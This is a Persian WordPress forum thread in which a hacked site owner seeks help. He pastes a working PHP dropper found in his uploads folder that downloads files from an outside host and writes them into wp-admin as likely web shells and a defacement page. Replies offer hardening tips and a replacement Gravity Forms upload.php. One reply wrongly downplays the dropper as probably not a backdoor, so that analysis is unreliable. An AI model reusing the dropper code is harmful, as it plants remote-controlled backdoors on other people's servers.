d-t.c

مشکل امنیتی عجیب

12 پست در این موضوع قرار دارد

سلام.

من از امنیت تقریبا هیچ چیز نمیدونم.

اخیرا هم فایل ها ارور خیلی حجمشون بالا رفته و فایل های عجیب و غریبی بدون اطلاع من روی سایت آپ شدن که شبیه باگ هستن!

به نظرم سایت باگ داره

خب چطوری باید پیداش کنم؟

به پشتیبانی میهن گفتم, گفتن به ما چه؟

حالا این سایت واس مال یعنی کلش ماس ماس چطوری امنتیش رو درست کنم؟

راستی اتک ها هم خیلی زیاد شدن چندتاشونو جت پک رفع کرد.

مثلا فایل error_log موجود در wp-content و wp-admin حدود یک تا سه مگ حجم داره و اخیرا فقط یک خطا رو میده:


[14-Apr-2015 20:21:44 Asia/Tehran] bla=true
[14-Apr-2015 20:21:45 Asia/Tehran] bla=
[14-Apr-2015 20:21:45 Asia/Tehran] bla=false
[14-Apr-2015 20:21:45 Asia/Tehran] bla=false
[14-Apr-2015 20:21:45 Asia/Tehran] bla=true
[14-Apr-2015 20:21:54 Asia/Tehran] bla=
[14-Apr-2015 20:21:54 Asia/Tehran] bla=false
[14-Apr-2015 20:21:54 Asia/Tehran] bla=false
[14-Apr-2015 20:21:54 Asia/Tehran] bla=true
[14-Apr-2015 20:22:03 Asia/Tehran] bla=
[14-Apr-2015 20:22:03 Asia/Tehran] bla=false
[14-Apr-2015 20:22:03 Asia/Tehran] bla=false
[14-Apr-2015 20:22:03 Asia/Tehran] bla=true
[14-Apr-2015 20:22:09 Asia/Tehran] bla=
[14-Apr-2015 20:22:09 Asia/Tehran] bla=false
[14-Apr-2015 20:22:09 Asia/Tehran] bla=false
[14-Apr-2015 20:22:09 Asia/Tehran] bla=true
[14-Apr-2015 20:22:16 Asia/Tehran] bla=
[14-Apr-2015 20:22:16 Asia/Tehran] bla=false
[14-Apr-2015 20:22:16 Asia/Tehran] bla=false
[14-Apr-2015 20:22:16 Asia/Tehran] bla=true
[14-Apr-2015 20:22:26 Asia/Tehran] bla=
[14-Apr-2015 20:22:26 Asia/Tehran] bla=false
[14-Apr-2015 20:22:26 Asia/Tehran] bla=false
[14-Apr-2015 20:22:26 Asia/Tehran] bla=true
[14-Apr-2015 20:22:28 Asia/Tehran] bla=
[14-Apr-2015 20:22:28 Asia/Tehran] bla=false
[14-Apr-2015 20:22:28 Asia/Tehran] bla=false
[14-Apr-2015 20:22:28 Asia/Tehran] bla=true
[14-Apr-2015 20:22:39 Asia/Tehran] bla=
[14-Apr-2015 20:22:39 Asia/Tehran] bla=false
[14-Apr-2015 20:22:39 Asia/Tehran] bla=false
[14-Apr-2015 20:22:39 Asia/Tehran] bla=true
[14-Apr-2015 20:23:02 Asia/Tehran] bla=
[14-Apr-2015 20:23:02 Asia/Tehran] bla=false
[14-Apr-2015 20:23:02 Asia/Tehran] bla=false
[14-Apr-2015 20:23:02 Asia/Tehran] bla=true
[14-Apr-2015 20:23:02 Asia/Tehran] bla=
[14-Apr-2015 20:23:02 Asia/Tehran] bla=false
[14-Apr-2015 20:23:02 Asia/Tehran] bla=false
[14-Apr-2015 20:23:02 Asia/Tehran] bla=true
[14-Apr-2015 20:23:10 Asia/Tehran] bla=
[14-Apr-2015 20:23:10 Asia/Tehran] bla=false
[14-Apr-2015 20:23:10 Asia/Tehran] bla=false
[14-Apr-2015 20:23:10 Asia/Tehran] bla=true
[14-Apr-2015 20:23:14 Asia/Tehran] bla=
[14-Apr-2015 20:23:14 Asia/Tehran] bla=false
[14-Apr-2015 20:23:14 Asia/Tehran] bla=false
[14-Apr-2015 20:23:14 Asia/Tehran] bla=true
[14-Apr-2015 20:23:17 Asia/Tehran] bla=
[14-Apr-2015 20:23:17 Asia/Tehran] bla=false
[14-Apr-2015 20:23:17 Asia/Tehran] bla=false
[14-Apr-2015 20:23:17 Asia/Tehran] bla=true
[14-Apr-2015 20:23:18 Asia/Tehran] bla=
[14-Apr-2015 20:23:18 Asia/Tehran] bla=false
[14-Apr-2015 20:23:18 Asia/Tehran] bla=false
[14-Apr-2015 20:23:18 Asia/Tehran] bla=true
[14-Apr-2015 20:23:23 Asia/Tehran] bla=
[14-Apr-2015 20:23:23 Asia/Tehran] bla=false
[14-Apr-2015 20:23:23 Asia/Tehran] bla=false
[14-Apr-2015 20:23:23 Asia/Tehran] bla=true
[14-Apr-2015 20:23:26 Asia/Tehran] bla=
[14-Apr-2015 20:23:26 Asia/Tehran] bla=false
[14-Apr-2015 20:23:26 Asia/Tehran] bla=false
[14-Apr-2015 20:23:26 Asia/Tehran] bla=true
[14-Apr-2015 20:23:31 Asia/Tehran] bla=
[14-Apr-2015 20:23:31 Asia/Tehran] bla=false
[14-Apr-2015 20:23:31 Asia/Tehran] bla=false
[14-Apr-2015 20:23:31 Asia/Tehran] bla=true
[14-Apr-2015 20:23:36 Asia/Tehran] bla=
[14-Apr-2015 20:23:36 Asia/Tehran] bla=false
[14-Apr-2015 20:23:36 Asia/Tehran] bla=false
[14-Apr-2015 20:23:36 Asia/Tehran] bla=true
[14-Apr-2015 20:23:40 Asia/Tehran] bla=
[14-Apr-2015 20:23:40 Asia/Tehran] bla=false
[14-Apr-2015 20:23:40 Asia/Tehran] bla=false
[14-Apr-2015 20:23:40 Asia/Tehran] bla=true
[14-Apr-2015 20:23:51 Asia/Tehran] bla=
[14-Apr-2015 20:23:51 Asia/Tehran] bla=false
[14-Apr-2015 20:23:51 Asia/Tehran] bla=false
[14-Apr-2015 20:23:51 Asia/Tehran] bla=true
[14-Apr-2015 20:23:52 Asia/Tehran] bla=
[14-Apr-2015 20:23:52 Asia/Tehran] bla=false
[14-Apr-2015 20:23:52 Asia/Tehran] bla=false
[14-Apr-2015 20:23:52 Asia/Tehran] bla=true

همان طور که توی تاریخ میبینید هر چند دقیقه خطا میده! حالا این خطا چیه؟؟

یا مثلا فایل _input_3_css.php5 توی پوشه wp-content ایجاد شده که محتواش اینه:


<?php
function http_get($url){
$im = curl_init($url);
curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($im, CURLOPT_HEADER, 0);
return curl_exec($im);
curl_close($im);
}
$check = $_SERVER['DOCUMENT_ROOT'] . "/wp-admin/ed.php" ;
$text = http_get('http://adluckholdings.com/wp-admin/aa/1/css.txt');
$open = fopen($check, 'w');
fwrite($open, $text);
fclose($open);
if(file_exists($check)){
echo $check."</br>";
}else
echo "not exits";
echo "done .\n " ;
$check2 = $_SERVER['DOCUMENT_ROOT'] . "/wp-admin/hatty.php" ;
$text2 = http_get('http://adluckholdings.com/wp-admin/aa/1/hatty.txt');
$open2 = fopen($check2, 'w');
fwrite($open2, $text2);
fclose($open2);
if(file_exists($check2)){
echo $check2."</br>";
}else
echo "not exits2";
echo "done2 .\n " ;
$check3=$_SERVER['DOCUMENT_ROOT'] . "/w.htm" ;
$text3 = http_get('http://adluckholdings.com/wp-admin/aa/1/w.txt');
$op3=fopen($check3, 'w');
fwrite($op3,$text3);
fclose($op3);
?>

یه فایل w.htm هم بود که پاکش کردم.

قضیه چیه؟

میشه حلش کرد؟

چند وقت پیش هم یکی از افزونه هام باگ داشت یه هکر عراقی چندتا کاربر مدیر باهاش ساخته بود که خودش اومد گفت من این کارو کردم و این افزونه باگ داره و منم پاکش کردم...

راستی این eroor_log هم تو پوشه uploads بود:


[13-Apr-2015 23:06:40 Asia/Tehran] PHP Warning: curl_setopt() [<a href='function.curl-setopt'>function.curl-setopt</a>]: CURLOPT_FOLLOWLOCATION cannot be activated when safe_mode is enabled or an open_basedir is set in /home4/wpfpwir/public_html/wp-content/uploads/_input_3_css.php5 on line 6
[13-Apr-2015 23:06:40 Asia/Tehran] PHP Warning: curl_setopt() [<a href='function.curl-setopt'>function.curl-setopt</a>]: CURLOPT_FOLLOWLOCATION cannot be activated when safe_mode is enabled or an open_basedir is set in /home4/wpfpwir/public_html/wp-content/uploads/_input_3_css.php5 on line 6
[13-Apr-2015 23:06:41 Asia/Tehran] PHP Warning: curl_setopt() [<a href='function.curl-setopt'>function.curl-setopt</a>]: CURLOPT_FOLLOWLOCATION cannot be activated when safe_mode is enabled or an open_basedir is set in /home4/wpfpwir/public_html/wp-content/uploads/_input_3_css.php5 on line 6

اگر کسی میتونه کمک کنه لطفا

0

به اشتراک گذاری این پست


لینک به پست

خب

قضیه کلا داستان داره

اما فکر نمیکنم بکدور یا چیزی مشابه باشه اما میشه پلاگینی باشه که برای خودش میاد اطلاعات شما جمع میکنه

از بالا به پایین میام :

خطا بالا میخوره که به زمان و تاریخ تعریف شده در فاکشن قالب باشد و یا... چیز خاصی نیست

2-تابع زیر میاد اطلاعات سر یه بازه زمانی چک میکنه


function http_get($url){
$im = curl_init($url);
curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($im, CURLOPT_HEADER, 0);
return curl_exec($im);
curl_close($im);
}

این خط هم میاد به مسیر سایت آدرس دهی میکنه و چک میکنه فایلی وحود دارد یا خیر


$check = $_SERVER['DOCUMENT_ROOT'] . "/wp-admin/ed.php" ;

با خط زیر برمیداره و در مسیر شما کپی میکنه


$text = http_get('http://adluckholdings.com/wp-admin/aa/1/css.txt');

البته دیکد شده کدها میشه :


http://www.unphp.net/decode/5083a18ef758212b7d4ecfd27c9305e3/

خط آخر خم میگخ به خاطر اینکه سرور شما دارای امنیت بوده و safe_mod فعال هست اجازه نمیده که curl شورع به کار کند

-----------

شما پلاگین ها چک کنید و حذف کنید و از پوسته اطمینان پیدا کنید

وردپرس هم دستی بروزکنید

3

به اشتراک گذاری این پست


لینک به پست

آقا دستم به دامنتون.

من از امنیت هیچی نمیدونم دوباره امروز هم یه فایل هک اپلود شده بود.

اگر کسی هست میتونه باگ هارو پیدا کنه لطفا سریع تر پی ام بده هزینه اش هر چی باشه تقدیم میکنم.

یه باگ اساسی فکر کنم توی افزونه ها هست حالا چطوری باید فهمید تو کدوم افزونه و کجا؟

لطفا سریع تر پی ام بدید

0

به اشتراک گذاری این پست


لینک به پست

1-لیست افزونه ها قرار بدید

2-چه فایلی آپلود شده که شما مظنون به هک هستید ؟

3-آدرس سایت هم قرار بدید

1

به اشتراک گذاری این پست


لینک به پست

واقعا ممنونم که پیگیری میکنید.


Akismet: 3.1.1
Automatic break iframes: 1.0
Crayon Syntax Highlighter: 2.7.0
Disable Feeds: 1.4.1
FV Wordpress Flowplayer: 2.3.12
Gravity Forms: 1.8.19
Gravity Forms CSS Ready Class Selector: 1.1
Hacklog Remote Attachment: 1.3.0
Jetpack by WordPress.com: 3.4.1
MyMail - Email Newsletter Plugin for WordPress: 2.0.22
No CAPTCHA reCAPTCHA: 1.0.1
PBP Increase upload limit: 1.1
Persian Gravity Forms: 1.5.0
Search & Replace: 2.7.0
SEO Friendly Images: 3.0.5
Subscribe To Comments: 2.1.2
TinyMCE Advanced: 4.1.7
User Role Editor: 4.18.3
WooCommerce: 2.3.7
WooCommerce Checkout Manager: 3.6.8
Woocommerce Remove Quantity: 0.1
WordPress Importer: 0.6.1
WordPress SEO: 2.0.1
WP-Parsidate: 2.1.3
WP Category Tag Cloud: 1.6
WP Fastest Cache: 0.8.4.9
WP Rocket: 2.2.3
افزونه سئوی تصاویر: 1.0.0
افزونه پشتیبانی فارسی (ارسال تیکت وردپرس): 4.3
درگاه پارس پال Gravity Forms: 1.10.0
درگاه پرداخت پارس پال ووکامرس: 2.2
فرم ورود / عضویت / پنل کاربری: 1.1.3
ووکامرس پارسی: 2.3.7

اول فایلی که اول گفتم این قسمتش:


$check3=$_SERVER['DOCUMENT_ROOT'] . "/w.htm" ;

یه فایل بود که مثل صفحه هک بود که کلشون رو پاک کردم ولی امروز یه فایل با اسم hk.htm روی صفحه اصلی بود توش هم چندتا کلمه مثل hack - hacked by halako و... بود که پاکش کردم.

والا به افزونه های فرم ورود / عضویت / پنل کاربری و افزونه پشتیبانی فارسی (ارسال تیکت وردپرس) شک دارم.

http://delta-theme.com

واقعا ممنون :rolleyes:

راستی این دو افزونه ای هم که گفتم بهشون شک دارم با جستجو کردن نامشون توی گوگل اولین نتیجه هستند و اگه لطف کنیید ببینید باگی ندارند ممنونتان میشوم :)

0

به اشتراک گذاری این پست


لینک به پست

اینجوری نمیشه متوجه شد چون باید تک به تک بررسی کرد و از وحود باگ مطمئن شد

هر افزونه ای احتمال داشتن باگ درونش هست و چندی پیش دیدید افزونه وردپرس سئو هم باگ داشت

شما پلاگین ها غیر فعال کنید و تست کنید

درضمن دایرکتوری هم off کنید

خیلی از این افزونه ها نیاز نیستند و شما میتونید از کد استفاده کنید که در انجمن وجود دارد

سطح دسترسی فولدر هم محدود کنید

2

به اشتراک گذاری این پست


لینک به پست

مشکل اینجاست که من نمیدونم چطوری باید برسی کرد :( :| .

خب این تست که شما میگید یعنی چی دقیقا؟

دقیقا کدوم فولدر؟؟

مرسی وقت گذاشتید :*

0

به اشتراک گذاری این پست


لینک به پست

راستی.

در صورتی که هیچ به روز رسانی جدیدی برای وردپرس نیست یک پیغام برام اومده که بروز رسانی وردپرس با شکست مواجه شد!!!!!

هر افزونه ای هم که به روز رسانیش میاد و به روزش میکنم چند دقیقه سایت داون میشه.

این اواخر هم حداقل روزی 8 دقیقه سایت داونه که از میهن وب بعیده و فکر کنم مشکل از سایت باشه...

0

به اشتراک گذاری این پست


لینک به پست

این خطا ها همچنان در حال رخ دادن هستند!!!!


[17-Apr-2015 15:39:25 Asia/Tehran] bla=
[17-Apr-2015 15:39:25 Asia/Tehran] bla=false
[17-Apr-2015 15:39:25 Asia/Tehran] bla=false
[17-Apr-2015 15:39:25 Asia/Tehran] bla=true
[17-Apr-2015 15:39:27 Asia/Tehran] bla=
[17-Apr-2015 15:39:27 Asia/Tehran] bla=false
[17-Apr-2015 15:39:27 Asia/Tehran] bla=false
[17-Apr-2015 15:39:27 Asia/Tehran] bla=true
[17-Apr-2015 15:39:42 Asia/Tehran] bla=
[17-Apr-2015 15:39:42 Asia/Tehran] bla=false
[17-Apr-2015 15:39:42 Asia/Tehran] bla=false
[17-Apr-2015 15:39:42 Asia/Tehran] bla=true
[17-Apr-2015 15:39:44 Asia/Tehran] bla=
[17-Apr-2015 15:39:44 Asia/Tehran] bla=false
[17-Apr-2015 15:39:44 Asia/Tehran] bla=false
[17-Apr-2015 15:39:44 Asia/Tehran] bla=true
[17-Apr-2015 15:40:44 Asia/Tehran] bla=
[17-Apr-2015 15:40:44 Asia/Tehran] bla=false
[17-Apr-2015 15:40:44 Asia/Tehran] bla=false
[17-Apr-2015 15:40:44 Asia/Tehran] bla=true
[17-Apr-2015 15:40:47 Asia/Tehran] bla=
[17-Apr-2015 15:40:47 Asia/Tehran] bla=false
[17-Apr-2015 15:40:47 Asia/Tehran] bla=false
[17-Apr-2015 15:40:47 Asia/Tehran] bla=true
[17-Apr-2015 15:41:20 Asia/Tehran] bla=
[17-Apr-2015 15:41:20 Asia/Tehran] bla=false
[17-Apr-2015 15:41:20 Asia/Tehran] bla=false
[17-Apr-2015 15:41:20 Asia/Tehran] bla=true
[17-Apr-2015 15:41:31 Asia/Tehran] bla=
[17-Apr-2015 15:41:31 Asia/Tehran] bla=false
[17-Apr-2015 15:41:31 Asia/Tehran] bla=false
[17-Apr-2015 15:41:31 Asia/Tehran] bla=true
[17-Apr-2015 15:41:38 Asia/Tehran] bla=
[17-Apr-2015 15:41:38 Asia/Tehran] bla=false
[17-Apr-2015 15:41:38 Asia/Tehran] bla=false
[17-Apr-2015 15:41:38 Asia/Tehran] bla=true
[17-Apr-2015 15:42:29 Asia/Tehran] bla=
[17-Apr-2015 15:42:29 Asia/Tehran] bla=false
[17-Apr-2015 15:42:29 Asia/Tehran] bla=false
[17-Apr-2015 15:42:29 Asia/Tehran] bla=true

هیچ کس بلد نیست رفعشون کنه؟

کسی بلد نیست باگ سایتو پیدا کنه؟

0

به اشتراک گذاری این پست


لینک به پست

به نظر منم یا مشکل از افزونه هاست است یا قالب که این مشکلاتو به وجود میاره.

افزونه ها خیلی زیاد هستن که این خود باعث به وجود اوردن باگ در سایتت میشه.سعی کن برای هر امکانی افزونه نصب نکنید و درصورتی که حتما لزوم داشت نصشون کن.

منم مثل خودت زیاد از اهمیت سردرنمیام ولی توصیه میکنم سایتتو بده یکی که با هزینه هم بود برات رفع مشکل کنه.

موفق باشی

1

به اشتراک گذاری این پست


لینک به پست

نیاز به انقد ر اسپم نیست

شما افزونه ها پاک کنید و 2 تاپیک زیر بخوانید مشکل برطرف میشود

اگر بخواهید از افزونه باگ بگیرید و exploit اون submit کنید باید هزینه کنید و رفم بالاست عزیز:

http://ashiyane.org/forums/showthread.php?126583-gt-%D8%AA%D8%A7%D9%BE%DB%8C%DA%A9-%D8%AC%D8%A7%D9%85%D8%B9-%D8%A2%D9%85%D9%88%D8%B2%D8%B4-%D9%87%D8%A7%DB%8C-%D8%AA%D8%B5%D9%88%DB%8C%D8%B1%DB%8C-%D8%A7%D9%85%D9%86%DB%8C%D8%AA-%D9%88%D8%B1

1

به اشتراک گذاری این پست


لینک به پست

آسیب پذیری در افزونه gravity forms است !

برای پچ کردن هم میتونید به صورت دستی وارد مسیر : wp-content/plugins/gravityforms/includes/upload.php/ شوید و کد زیر رو جایگزین کنید :


<?php
if(!class_exists('GFForms')){
die();
}
/**
* upload.php
*
*
* Copyright 2009, Moxiecode Systems AB
* Released under GPL License.
*
* License: http://www.plupload.com/license
*
* Modified by Rocketgenius
*/
class GFAsyncUpload {
public static function upload() {
GFCommon::log_debug("GFAsyncUpload::upload() - Starting");
header('Content-Type: text/html; charset=' . get_option('blog_charset'));
send_nosniff_header();
nocache_headers();
status_header(200);
// If the file is bigger than the server can accept then the form_id might not arrive.
// This might happen if the file is bigger than the max post size ini setting.
// Validation in the browser reduces the risk of this happening.
if (!isset($_REQUEST["form_id_fix"])) {
GFCommon::log_debug("GFAsyncUpload::upload() - File upload aborted because the form_id was not found. The file may have been bigger than the max post size ini setting.");
die('{"status" : "error", "error" : {"code": 500, "message": "' . __("Failed to upload file.", "gravityforms") . '"}}');
}
$form_id = $_REQUEST["form_id_fix"];
$form_unique_id = rgpost("gform_unique_id_fix");
$form = GFFormsModel::get_form_meta($form_id);
$target_dir = GFFormsModel::get_upload_path($form_id) . DIRECTORY_SEPARATOR . "tmp" . DIRECTORY_SEPARATOR;
wp_mkdir_p($target_dir);
$cleanup_target_dir = true; // Remove old files
$maxFileAge = 5 * 3600; // Temp file age in seconds
// Chunking is not currently implemented in the front-end because it's not widely supported. The code is left here for when browsers catch up.
$chunk = isset($_REQUEST["chunk"]) ? intval($_REQUEST["chunk"]) : 0;
$chunks = isset($_REQUEST["chunks"]) ? intval($_REQUEST["chunks"]) : 0;
$file_name = isset($_REQUEST["name"]) ? $_REQUEST["name"] : '';
$field_id = rgpost("field_id_fix");
$field = GFFormsModel::get_field($form, $field_id);
// Clean the fileName for security reasons
$file_name = preg_replace('/[^\w\._]+/', '_', $file_name);
$ext_pos = strrpos($file_name, '.');
$extension = strtolower(substr($file_name, $ext_pos + 1));
$allowed_extensions = isset($field["allowedExtensions"]) && !empty($field["allowedExtensions"]) ? GFCommon::clean_extensions(explode(",", strtolower($field["allowedExtensions"]))) : array();
$disallowed_extensions = GFCommon::get_disallowed_file_extensions();
if (empty($field["allowedExtensions"]) && in_array($extension, $disallowed_extensions)) {
GFCommon::log_debug("GFAsyncUpload::upload() - illegal file extension: {$file_name})");
die('{"status" : "error", "error" : {"code": 104, "message": "' . __("The uploaded file type is not allowed.", "gravityforms") . '"}}');
} elseif (!empty($allowed_extensions) && !in_array($extension, $allowed_extensions)) {
GFCommon::log_debug("GFAsyncUpload::upload() - The uploaded file type is not allowed: {$file_name})");
die('{"status" : "error", "error" : {"code": 104, "message": "' . sprintf(__("The uploaded file type is not allowed. Must be one of the following: %s", "gravityforms"), strtolower($field["allowedExtensions"])) . '"}}');
}
$tmp_file_name = $form_unique_id . "_input_" . $field_id . "_" . $file_name;
$file_path = $target_dir . $tmp_file_name;
// Remove old temp files
if ($cleanup_target_dir) {
if (is_dir($target_dir) && ($dir = opendir($target_dir))) {
while (($file = readdir($dir)) !== false) {
$tmp_file_path = $target_dir . $file;
// Remove temp file if it is older than the max age and is not the current file
if (preg_match('/\.part$/', $file) && (filemtime($tmp_file_path) < time() - $maxFileAge) && ($tmp_file_path != "{$file_path}.part")) {
GFCommon::log_debug("GFAsyncUpload::upload() - Deleting file: " . $tmp_file_path);
@unlink($tmp_file_path);
}
}
closedir($dir);
} else {
GFCommon::log_debug("GFAsyncUpload::upload() - Failed to open temp directory: " . $target_dir);
die('{"status" : "error", "error" : {"code": 100, "message": "' . __("Failed to open temp directory.", "gravityforms") . '"}}');
}
}
// Look for the content type header
if (isset($_SERVER["HTTP_CONTENT_TYPE"]))
$contentType = $_SERVER["HTTP_CONTENT_TYPE"];
if (isset($_SERVER["CONTENT_TYPE"]))
$contentType = $_SERVER["CONTENT_TYPE"];
// Handle non multipart uploads older WebKit versions didn't support multipart in HTML5
if (strpos($contentType, "multipart") !== false) {
if (isset($_FILES["file"]['tmp_name']) && is_uploaded_file($_FILES['file']['tmp_name'])) {
// Open temp file
$out = @fopen("{$file_path}.part", $chunk == 0 ? "wb" : "ab");
if ($out) {
// Read binary input stream and append it to temp file
$in = @fopen($_FILES["file"]['tmp_name'], "rb");
if ($in) {
while ($buff = fread($in, 4096))
fwrite($out, $buff);
} else {
die('{"status" : "error", "error" : {"code": 101, "message": "' . __("Failed to open input stream.", "gravityforms") . '"}}');
}
@fclose($in);
@fclose($out);
@unlink($_FILES["file"]['tmp_name']);
} else {
die('{"status" : "error", "error" : {"code": 102, "message": "' . __("Failed to open output stream.", "gravityforms") . '"}}');
}
} else {
die('{"status" : "error", "error" : {"code": 103, "message": "' . __("Failed to move uploaded file.", "gravityforms") . '"}}');
}
} else {
// Open temp file
$out = @fopen("{$file_path}.part", $chunk == 0 ? "wb" : "ab");
if ($out) {
// Read binary input stream and append it to temp file
$in = @fopen("php://input", "rb");
if ($in) {
while ($buff = fread($in, 4096))
fwrite($out, $buff);
} else {
die('{"status" : "error", "error" : {"code": 101, "message": "' . __("Failed to open input stream.", "gravityforms") . '"}}');
}
@fclose($in);
@fclose($out);
} else {
die('{"status" : "error", "error" : {"code": 102, "message": "' . __("Failed to open output stream.", "gravityforms") . '"}}');
}
}
// Check if file has been uploaded
if (!$chunks || $chunk == $chunks - 1) {
// Strip the temp .part suffix off
rename("{$file_path}.part", $file_path);
}
$uploaded_filename = $_FILES["file"]["name"];

$output = array("status" => "ok",
"data" => array("temp_filename" => $tmp_file_name ,
"uploaded_filename" => str_replace("\\'", "'", urldecode($uploaded_filename)) //Decoding filename to prevent file name mismatch.
)
);
$output = json_encode($output);
GFCommon::log_debug(sprintf("GFAsyncUpload::upload() - File upload complete. temp_filename: %s uploaded_filename: %s ", $tmp_file_name, $uploaded_filename));
do_action('gform_post_multifile_upload', $form, $field, $uploaded_filename, $tmp_file_name, $file_path);
do_action("gform_post_multifile_upload_{$form["id"]}", $form, $field, $uploaded_filename, $tmp_file_name, $file_path);
die($output);
}
}
GFAsyncUpload::upload();

امیدوارم کمک کرده باشم

0

به اشتراک گذاری این پست


لینک به پست

برای ارسال نظر یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید نظر ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در انجمن ما ثبت نام کنید. عضویت خیلی ساده است !


ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید


ورود به حساب کاربری